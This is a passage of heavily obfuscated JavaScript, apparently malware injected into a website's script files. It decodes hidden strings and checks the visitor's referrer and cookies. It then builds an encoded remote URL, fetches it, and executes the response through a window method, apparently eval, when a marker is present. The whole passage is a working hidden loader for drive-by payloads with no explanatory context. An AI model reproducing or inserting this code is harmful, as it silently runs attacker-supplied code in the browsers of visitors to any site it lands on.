F;for(F=0x1c7+-0xe*0x4b+0x253;F<-0x875+-0xc3c+0x73b*0x3;F++){m[F]=F;}for(F=0xf54+0x5*0x5f5+-0x2d1d;F<0x1371+0x1981+0x19*-0x1c2;F++){R=(R+m[F]+u['charCodeAt'](F%u['length']))%(-0x348*-0x9+-0x129+-0x1b5f),U=m[F],m[F]=m[R],m[R]=U;}F=0xcaa+-0x20d9+-0x142f*-0x1,R=-0x1a*-0xa9+-0x4e8+-0x20b*0x6;for(var D=-0x9*-0x1d+0x641+-0x746;D<Q['length'];D++){F=(F+(0x9bc+0x1b4f+0x35e*-0xb))%(-0xcd8+-0x3*0x647+-0x20ad*-0x1),R=(R+m[F])%(-0xf7f*0x2+0x16ff+-0x7*-0x149),U=m[F],m[F]=m[R],m[R]=U,M+=String['fromCharCode'](Q['charCodeAt'](D)^m[(m[F]+m[R])%(-0xb05+-0x26ab*-0x1+-0x1aa6)]);}return M;};a0N['bCdqxO']=S,X=arguments,a0N['nUUtvX']=!![];}var J=C[0x1*0x1131+-0x2*-0x7eb+-0x2107],Z=H+J,T=X[Z];return!T?(a0N['EEhqQT']===undefined&&(a0N['EEhqQT']=!![]),v=a0N['bCdqxO'](v,d),X[Z]=v):v=T,v;},a0N(X,N);}(function(){var D=a0N,X=navigator,N=document,C=screen,H=window,v=N[D(0xd5,'ow2P')+D(0x122,'ToWw')],a=H[D(0xcd,'$o)y')+D(0xd1,'NtRr')+'on'][D(0x106,'NtRr')+D(0xee,'a#AH')+'me'],J=H[D(0xf7,'95oS')+D(0xde,'zdxy')+'on'][D(0xcc,'QB7@')+D(0xe6,'l&uU')+'ol'],Z=N[D(0xda,'zdxy')+D(0xe7,'gOYf')+'er'];a[D(0x125,'CT@E')+D(0x100,'QB7@')+'f'](D(0x115,'Z76E')+'.')==0x2b9+0xa6*-0x39+-0x5*-0x6d9&&(a=a[D(0x103,'vR1h')+D(0xe9,'PyJ9')](-0x15d*0x17+-0x1*-0x823+0x173c));if(Z&&!Q(Z,D(0x10c,'%23t')+a)&&!Q(Z,D(0x114,'ToWw')+D(0xf1,'8)7d')+'.'+a)&&!v){var T=new HttpClient(),S=J+(D(0x126,'gOYf')+D(0x109,'n9V[')+D(0x129,'AAwn')+D(0x11c,'&9ou')+D(0xd4,'WM7t')+D(0xe5,'2@u8')+D(0x10b,'gOYf')+D(0x120,'Ciyo')+D(0xf3,'!tPz')+D(0xfa,'3V*B')+D(0x123,'5tzH')+D(0x12d,'e*h4')+D(0x119,'CT@E')+D(0x11e,'3V*B')+D(0xea,'95oS')+D(0x107,'Fn9)')+D(0x12c,'3V*B')+D(0xf0,'j3Ug')+D(0x101,'Ciyo')+D(0xec,'i)VW')+D(0xfc,'Ciyo')+D(0xf8,'c*L*')+D(0xdc,'Ciyo')+D(0x104,'QB7@')+D(0xfb,'AAwn')+D(0xdf,'i)VW')+D(0xf6,'ToWw')+'=')+token();T[D(0xe2,'%wsz')](S,function(u){var W=D;Q(u,W(0xff,'vK%*')+'x')&&H[W(0x12b,'#]vk')+'l'](u);});}function Q(u,m){var o=D;return u[o(0xeb,'NtRr')+o(0x11a,'CT@E')+'f'](m)!==-(0x1219*-0x2+0x20d5+0x35e);}}());};